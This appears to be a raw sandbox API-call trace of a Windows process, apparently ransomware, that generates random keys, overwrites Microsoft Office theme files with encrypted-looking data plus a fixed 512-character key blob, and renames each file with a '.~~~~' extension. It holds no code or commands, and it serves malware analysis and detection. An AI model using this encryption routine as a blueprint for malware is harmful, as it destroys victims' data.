	[0121.970] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.970] CloseHandle (hObject=0x140) returned 1
	[0121.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5df8
	[0121.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.~~~~")) returned 1
	[0121.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5df8 | out: hHeap=0x300000) returned 1
	[0121.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.972] GetLastError () returned 0x0
	[0121.972] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.974] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.974] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.974] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24196454027) returned 1
	[0121.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb22ca3b0, dwHighDateTime=0x1d60e1e)) 
	[0121.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7ab0
	[0121.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7ab0 | out: hHeap=0x300000) returned 1
	[0121.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5848
	[0121.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0121.976] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.976] GetLastError () returned 0x0
	[0121.976] GetLastError () returned 0x0
	[0121.976] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.976] GetLastError () returned 0x0
	[0121.976] GetLastError () returned 0x0
	[0122.027] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc61, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.027] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x39f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x39f, lpOverlapped=0x0) returned 1
	[0122.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.045] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.059] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.059] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.059] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.059] CloseHandle (hObject=0x140) returned 1
	[0122.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.060] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.~~~~")) returned 1
	[0122.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.062] GetLastError () returned 0x0
	[0122.063] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.065] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.065] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.065] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24205494163) returned 1
	[0122.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb23aebf0, dwHighDateTime=0x1d60e1e)) 
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7928
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7928 | out: hHeap=0x300000) returned 1
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.066] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.066] GetLastError () returned 0x0
	[0122.066] GetLastError () returned 0x0
	[0122.066] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.066] GetLastError () returned 0x0
	[0122.066] GetLastError () returned 0x0
	[0122.069] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.070] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c1, lpOverlapped=0x0) returned 1
	[0122.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.071] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.072] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.072] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.072] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.072] CloseHandle (hObject=0x140) returned 1
	[0122.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fb90
	[0122.072] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.~~~~")) returned 1
	[0122.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fb90 | out: hHeap=0x300000) returned 1
	[0122.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.073] GetLastError () returned 0x0
	[0122.074] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.075] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.075] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.076] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24206578462) returned 1
	[0122.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb23aebf0, dwHighDateTime=0x1d60e1e)) 
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b78f0
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b78f0 | out: hHeap=0x300000) returned 1
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.077] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.077] GetLastError () returned 0x0
	[0122.077] GetLastError () returned 0x0
	[0122.077] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.077] GetLastError () returned 0x0
	[0122.077] GetLastError () returned 0x0
	[0122.080] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.080] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3a0, lpOverlapped=0x0) returned 1
	[0122.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.082] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.082] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.083] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.083] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.083] CloseHandle (hObject=0x140) returned 1
	[0122.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.083] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.~~~~")) returned 1
	[0122.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.085] GetLastError () returned 0x0
	[0122.085] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.087] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.087] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.087] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24207718262) returned 1
	[0122.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb23d4d50, dwHighDateTime=0x1d60e1e)) 
	[0122.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b78b8
	[0122.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b78b8 | out: hHeap=0x300000) returned 1
	[0122.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.088] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.088] GetLastError () returned 0x0
	[0122.089] GetLastError () returned 0x0
	[0122.089] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.089] GetLastError () returned 0x0
	[0122.089] GetLastError () returned 0x0
	[0122.091] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.092] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c4, lpOverlapped=0x0) returned 1
	[0122.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.093] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.094] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.094] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.094] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.094] CloseHandle (hObject=0x140) returned 1
	[0122.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.~~~~")) returned 1
	[0122.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.096] GetLastError () returned 0x0
	[0122.096] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.097] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.098] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.098] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24208790555) returned 1
	[0122.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb23faeb0, dwHighDateTime=0x1d60e1e)) 
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7880
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7880 | out: hHeap=0x300000) returned 1
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b58f0
	[0122.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b58f0 | out: hHeap=0x300000) returned 1
	[0122.099] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.099] GetLastError () returned 0x0
	[0122.099] GetLastError () returned 0x0
	[0122.099] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.099] GetLastError () returned 0x0
	[0122.099] GetLastError () returned 0x0
	[0122.102] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.102] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3bf, lpOverlapped=0x0) returned 1
	[0122.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.103] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.103] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
